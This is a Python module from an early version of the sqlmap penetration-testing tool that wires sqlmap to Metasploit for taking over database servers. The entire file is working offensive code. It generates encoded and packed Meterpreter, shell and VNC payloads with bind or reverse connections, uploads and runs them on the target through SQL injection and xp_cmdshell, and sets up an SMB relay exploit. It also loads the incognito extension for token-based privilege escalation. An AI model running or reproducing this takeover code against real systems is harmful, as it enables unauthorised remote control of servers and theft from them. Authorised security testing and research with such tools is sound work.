#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import binascii
import os
import re
import stat
import sys
import time
from select import select
from subprocess import PIPE
from subprocess import Popen as execute
from lib.core.agent import agent
from lib.core.common import dataToStdout
from lib.core.common import getLocalIP
from lib.core.common import getRemoteIP
from lib.core.common import pollProcess
from lib.core.common import randomRange
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapDataException
from lib.core.exception import sqlmapFilePathException
from lib.core.subprocessng import blockingReadFromFD
from lib.core.subprocessng import blockingWriteToFD
from lib.core.subprocessng import setNonBlocking
from lib.request.connect import Connect as Request
from lib.takeover.upx import upx
class Metasploit:
"""
This class defines methods to call Metasploit for plugins.
"""
def __initVars(self):
self.connectionStr = None
self.lhostStr = None
self.rhostStr = None
self.portStr = None
self.payloadStr = None
self.encoderStr = None
self.resourceFile = None
self.localIP = getLocalIP()
self.remoteIP = getRemoteIP()
self.__msfCli = os.path.normpath("%s/msfcli" % conf.msfPath)
self.__msfConsole = os.path.normpath("%s/msfconsole" % conf.msfPath)
self.__msfEncode = os.path.normpath("%s/msfencode" % conf.msfPath)
self.__msfPayload = os.path.normpath("%s/msfpayload" % conf.msfPath)
self.__msfPayloadsList = {
"windows": {
1: ( "Reflective Meterpreter (default)", "windows/meterpreter" ),
2: ( "PatchUp Meterpreter (only from Metasploit development revision 6742)", "windows/patchupmeterpreter" ),
3: ( "Shell", "windows/shell" ),
4: ( "Reflective VNC", "windows/vncinject" ),
5: ( "PatchUp VNC (only from Metasploit development revision 6742)", "windows/patchupvncinject" ),
},
"linux": {
1: ( "Shell", "linux/x86/shell" ),
}
}
self.__msfConnectionsList = {
"windows": {
1: ( "Bind TCP (default)", "bind_tcp" ),
2: ( "Bind TCP (No NX)", "bind_nonx_tcp" ),
3: ( "Reverse TCP", "reverse_tcp" ),
4: ( "Reverse TCP (No NX)", "reverse_nonx_tcp" ),
},
"linux": {
1: ( "Bind TCP (default)", "bind_tcp" ),
2: ( "Reverse TCP", "reverse_tcp" ),
}
}
self.__msfEncodersList = {
"windows": {
1: ( "No Encoder", "generic/none" ),
2: ( "Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed" ),
3: ( "Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper" ),
4: ( "Avoid UTF8/tolower", "x86/avoid_utf8_tolower" ),
5: ( "Call+4 Dword XOR Encoder", "x86/call4_dword_xor" ),
6: ( "Single-byte XOR Countdown Encoder", "x86/countdown" ),
7: ( "Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov" ),
8: ( "Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive" ),
9: ( "Non-Alpha Encoder", "x86/nonalpha" ),
10: ( "Non-Upper Encoder", "x86/nonupper" ),
11: ( "Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai" ),
12: ( "Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed" ),
13: ( "Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper" ),
}
}
self.__msfSMBPortsList = {
"windows": {
1: ( "139/TCP (default)", "139" ),
2: ( "445/TCP", "445" ),
}
}
self.__portData = {
"bind": "remote port numer",
"reverse": "local port numer",
}
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
if kb.os == "Windows":
opSys = "windows"
else:
opSys = "linux"
message = "which %s do you want to use?" % msg
if lst:
for num, data in lst[opSys].items():
description = data[0]
if num > maxValue:
maxValue = num
if "(default)" in description:
default = num
message += "\n[%d] %s" % (num, description)
else:
message += " [%d] " % default
choice = readInput(message, default="%d" % default)
if not choice:
if lst:
choice = str(default)
else:
return default
elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
return self.__skeletonSelection(msg, lst, maxValue, default)
elif int(choice) > maxValue or int(choice) < 1:
logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue)
return self.__skeletonSelection(msg, lst, maxValue, default)
choice = int(choice)
if lst:
choice = lst[opSys][choice][1]
return choice
def __selectSMBPort(self):
return self.__skeletonSelection("SMB port", self.__msfSMBPortsList)
def __selectEncoder(self, encode=True):
if kb.os == "Windows" and encode == True:
return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
def __selectPayload(self, askChurrasco=True):
if kb.os == "Windows" and conf.privEsc == True:
infoMsg = "forcing Metasploit payload to Meterpreter because "
infoMsg += "it is the only payload that can be used to abuse "
infoMsg += "Windows Impersonation Tokens via Meterpreter "
infoMsg += "'incognito' extension to privilege escalate"
logger.info(infoMsg)
__payloadStr = "windows/meterpreter"
else:
__payloadStr = self.__skeletonSelection("payload", self.__msfPayloadsList)
if __payloadStr == "windows/vncinject":
choose = False
if kb.dbms == "MySQL":
debugMsg = "by default MySQL on Windows runs as SYSTEM "
debugMsg += "user, it is likely that the the VNC "
debugMsg += "injection will be successful"
logger.debug(debugMsg)
elif kb.dbms == "PostgreSQL":
choose = True
warnMsg = "by default PostgreSQL on Windows runs as "
warnMsg += "postgres user, it is unlikely that the VNC "
warnMsg += "injection will be successful"
logger.warn(warnMsg)
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
choose = True
warnMsg = "it is unlikely that the VNC injection will be "
warnMsg += "successful because often Microsoft SQL Server "
warnMsg += "%s runs as Network Service " % kb.dbmsVersion[0]
warnMsg += "or the Administrator is not logged in"
logger.warn(warnMsg)
if choose == True:
message = "what do you want to do?\n"
message += "[1] Give it a try anyway\n"
message += "[2] Fall back to reflective Meterpreter payload (default)\n"
message += "[3] Fall back to Shell payload"
while True:
choice = readInput(message, default="2")
if not choice or choice == "2":
__payloadStr = "windows/meterpreter"
break
elif choice == "3":
__payloadStr = "windows/shell"
break
elif choice == "1":
if kb.dbms == "PostgreSQL":
logger.warn("beware that the VNC injection might not work")
break
elif askChurrasco == False:
logger.warn("beware that the VNC injection might not work")
break
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
uploaded = self.uploadChurrasco()
if uploaded == False:
warnMsg = "beware that the VNC injection "
warnMsg += "might not work"
logger.warn(warnMsg)
break
elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > 2:
logger.warn("invalid value, it must be 1 or 2")
return __payloadStr
def __selectPort(self):
for connType, connStr in self.__portData.items():
if self.connectionStr.startswith(connType):
return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
def __selectRhost(self):
if self.connectionStr.startswith("bind"):
message = "which is the back-end DBMS address? [%s] " % self.remoteIP
address = readInput(message, default=self.remoteIP)
if not address:
address = self.remoteIP
return address
elif self.connectionStr.startswith("reverse"):
return None
else:
raise sqlmapDataException, "unexpected connection type"
def __selectLhost(self):
if self.connectionStr.startswith("reverse") or self.resourceFile != None:
message = "which is the local address? [%s] " % self.localIP
address = readInput(message, default=self.localIP)
if not address:
address = self.localIP
return address
elif self.connectionStr.startswith("bind"):
return None
else:
raise sqlmapDataException, "unexpected connection type"
def __selectConnection(self):
return self.__skeletonSelection("connection type", self.__msfConnectionsList)
def __prepareIngredients(self, encode=True, askChurrasco=True):
self.connectionStr = self.__selectConnection()
self.lhostStr = self.__selectLhost()
self.rhostStr = self.__selectRhost()
self.portStr = self.__selectPort()
self.payloadStr = self.__selectPayload(askChurrasco)
self.encoderStr = self.__selectEncoder(encode)
def __forgeMsfCliCmd(self, exitfunc="process"):
self.__cliCmd = "%s multi/handler PAYLOAD=" % self.__msfCli
self.__cliCmd += "%s/%s" % (self.payloadStr, self.connectionStr)
self.__cliCmd += " EXITFUNC=%s" % exitfunc
self.__cliCmd += " LPORT=%s" % self.portStr
if self.payloadStr == "windows/vncinject":
self.__cliCmd += " DisableCourtesyShell=1"
if self.connectionStr.startswith("bind"):
self.__cliCmd += " RHOST=%s" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self.__cliCmd += " LHOST=%s" % self.lhostStr
else:
raise sqlmapDataException, "unexpected connection type"
self.__cliCmd += " E"
def __forgeMsfConsoleCmd(self):
self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile)
def __forgeMsfConsoleResource(self):
self.resourceFile = "%s/%s" % (conf.outputPath, self.__randFile)
self.__prepareIngredients(encode=False, askChurrasco=False)
self.__resource = "use windows/smb/smb_relay\n"
self.__resource += "set SRVHOST %s\n" % self.lhostStr
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
self.__resource += "set PAYLOAD %s/%s\n" % (self.payloadStr, self.connectionStr)
self.__resource += "set LPORT %s\n" % self.portStr
if self.connectionStr.startswith("bind"):
self.__resource += "set RHOST %s\n" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self.__resource += "set LHOST %s\n" % self.lhostStr
else:
raise sqlmapDataException, "unexpected connection type"
self.__resource += "exploit\n"
self.resourceFp = open(self.resourceFile, "w")
self.resourceFp.write(self.__resource)
self.resourceFp.close()
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
self.__payloadCmd = self.__msfPayload
self.__payloadCmd += " %s/%s" % (self.payloadStr, self.connectionStr)
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
self.__payloadCmd += " LPORT=%s" % self.portStr
if self.connectionStr.startswith("reverse"):
self.__payloadCmd += " LHOST=%s" % self.lhostStr
elif not self.connectionStr.startswith("bind"):
raise sqlmapDataException, "unexpected connection type"
if kb.os == "Windows":
self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format)
if extra is not None:
self.__payloadCmd += " %s" % extra
# NOTE: payload stager for Linux can only be encoded if the
# Metasploit working copy has been updated after May 11, 2009
# (http://trac.metasploit.com/changeset/6543)
#
# TODO: remember to update this code as soon as Metasploit
# Framework 3.3 is out officially and update the user's manual to
# notify that sqlmap depends upon Metasploit Framework 3.3
else:
self.__payloadCmd += " X > %s" % outFile
def __runMsfCli(self, exitfunc):
self.__forgeMsfCliCmd(exitfunc)
infoMsg = "running Metasploit Framework 3 command line "
infoMsg += "interface locally, wait.."
logger.info(infoMsg)
logger.debug("executing local command: %s" % self.__cliCmd)
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE)
def __runMsfConsole(self):
infoMsg = "running Metasploit Framework 3 console locally, wait.."
logger.info(infoMsg)
logger.debug("executing local command: %s" % self.__consoleCmd)
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
def __runMsfPayloadRemote(self):
infoMsg = "running Metasploit Framework 3 payload stager "
infoMsg += "remotely, wait.."
logger.info(infoMsg)
if kb.os != "Windows":
self.execCmd("chmod +x %s" % self.exeFilePathRemote, silent=True)
cmd = "%s &" % self.exeFilePathRemote
if self.cmdFromChurrasco == True:
cmd = "%s \"%s\"" % (self.churrascoPath, cmd)
if kb.dbms == "Microsoft SQL Server":
cmd = self.xpCmdshellForgeCmd(cmd)
# NOTE: calling the Metasploit payload from a system() function in
# C on Windows (check on Linux the behaviour) for some reason
# hangs it and the HTTP response goes into timeout, this does not
# happen when running the it from Windows cmd.
# Investigate and fix if possible
self.execCmd(cmd, silent=True)
def __loadMetExtensions(self, proc, metSess):
if kb.os != "Windows":
return
if self.resourceFile != None:
proc.stdin.write("sessions -l\n")
proc.stdin.write("sessions -i %s\n" % metSess)
proc.stdin.write("use priv\n")
if conf.privEsc == True:
print
infoMsg = "loading Meterpreter 'incognito' extension and "
infoMsg += "displaying the list of Access Tokens availables. "
infoMsg += "Choose which user you want to impersonate by "
infoMsg += "using incognito's command 'impersonate_token'"
logger.info(infoMsg)
proc.stdin.write("use incognito\n")
proc.stdin.write("getuid\n")
proc.stdin.write("list_tokens -u\n")
def __controlMsfCmd(self, proc, func):
stdin_fd = sys.stdin.fileno()
setNonBlocking(stdin_fd)
proc_out_fd = proc.stdout.fileno()
setNonBlocking(proc_out_fd)
while True:
returncode = proc.poll()
if returncode is None:
# Child hasn't exited yet
pass
else:
logger.debug("connection closed properly")
return returncode
try:
ready_fds = select([stdin_fd, proc_out_fd], [], [], 1)
if stdin_fd in ready_fds[0]:
try:
proc.stdin.write(blockingReadFromFD(stdin_fd))
except IOError:
# Probably the child has exited
pass
if proc_out_fd in ready_fds[0]:
out = blockingReadFromFD(proc_out_fd)
blockingWriteToFD(sys.stdout.fileno(), out)
# For --os-pwn and --os-bof
pwnBofCond = self.connectionStr.startswith("reverse")
pwnBofCond &= "Starting the payload handler" in out
# For --os-smbrelay
smbRelayCond = "Server started" in out
if pwnBofCond or smbRelayCond:
func()
metSess = re.search("Meterpreter session ([\d]+) opened", out)
if metSess:
self.__loadMetExtensions(proc, metSess.group(1))
except EOFError:
returncode = proc.wait()
return returncode
def createMsfShellcode(self):
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
infoMsg += "for the exploit"
logger.info(infoMsg)
self.__randStr = randomStr(lowercase=True)
self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
self.shellcodeChar = ""
self.__initVars()
self.__prepareIngredients(askChurrasco=False)
self.__forgeMsfPayloadCmd("seh", "raw", self.__shellcodeFilePath, "-b \"\\x00\\x27\"")
logger.debug("executing local command: %s" % self.__payloadCmd)
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
pollProcess(process)
payloadStderr = process.communicate()[1]
if kb.os == "Windows":
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
else:
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
if payloadSize:
payloadSize = payloadSize.group(1)
debugMsg = "the shellcode size is %s bytes" % payloadSize
logger.debug(debugMsg)
else:
errMsg = "failed to create the shellcode (%s)" % payloadStderr
raise sqlmapFilePathException, errMsg
self.__shellcodeFP = open(self.__shellcodeFilePath, "rb")
self.__shellcodeString = self.__shellcodeFP.read()
self.__shellcodeFP.close()
os.unlink(self.__shellcodeFilePath)
hexStr = binascii.hexlify(self.__shellcodeString)
for hexPair in range(0, len(hexStr), 2):
self.shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
def createMsfPayloadStager(self, initialize=True):
if initialize == True:
infoMsg = ""
else:
infoMsg = "re"
infoMsg += "creating Metasploit Framework 3 payload stager"
logger.info(infoMsg)
self.__randStr = randomStr(lowercase=True)
if kb.os == "Windows":
self.exeFilePathLocal = "%s/sqlmapmsf%s.exe" % (conf.outputPath, self.__randStr)
self.__fileFormat = "exe"
else:
self.exeFilePathLocal = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
self.__fileFormat = "elf"
if initialize == True:
self.__initVars()
if self.payloadStr == None:
self.__prepareIngredients()
self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal)
logger.debug("executing local command: %s" % self.__payloadCmd)
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
pollProcess(process)
payloadStderr = process.communicate()[1]
if kb.os == "Windows":
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
else:
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
os.chmod(self.exeFilePathLocal, stat.S_IRWXU)
if payloadSize:
payloadSize = payloadSize.group(1)
exeSize = os.path.getsize(self.exeFilePathLocal)
packedSize = upx.pack(self.exeFilePathLocal)
debugMsg = "the encoded payload size is %s bytes, " % payloadSize
if packedSize and packedSize != exeSize:
debugMsg += "as a compressed portable executable its size "
debugMsg += "is %d bytes, decompressed it " % packedSize
debugMsg += "was %s bytes large" % exeSize
else:
debugMsg += "as a portable executable its size is "
debugMsg += "%s bytes" % exeSize
logger.debug(debugMsg)
else:
errMsg = "failed to create the payload stager (%s)" % payloadStderr
raise sqlmapFilePathException, errMsg
def uploadMsfPayloadStager(self):
self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal))
logger.info("uploading payload stager to '%s'" % self.exeFilePathRemote)
self.writeFile(self.exeFilePathLocal, self.exeFilePathRemote, "binary", False)
os.unlink(self.exeFilePathLocal)
def pwn(self):
self.__runMsfCli(exitfunc="process")
if self.connectionStr.startswith("bind"):
self.__runMsfPayloadRemote()
debugMsg = "Metasploit Framework 3 command line interface exited "
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.__runMsfPayloadRemote)
logger.debug(debugMsg)
def smb(self):
self.__initVars()
self.__randFile = "sqlmapunc%s.txt" % randomStr(lowercase=True)
self.__forgeMsfConsoleResource()
self.__forgeMsfConsoleCmd()
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile)
else:
self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile)
self.__runMsfConsole()
debugMsg = "Metasploit Framework 3 console exited with return "
debugMsg += "code %s" % self.__controlMsfCmd(self.__msfConsoleProc, self.uncPathRequest)
logger.debug(debugMsg)
os.unlink(self.resourceFile)
def bof(self):
self.__runMsfCli(exitfunc="seh")
if self.connectionStr.startswith("bind"):
self.spHeapOverflow()
debugMsg = "Metasploit Framework 3 command line interface exited "
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.spHeapOverflow)
logger.debug(debugMsg)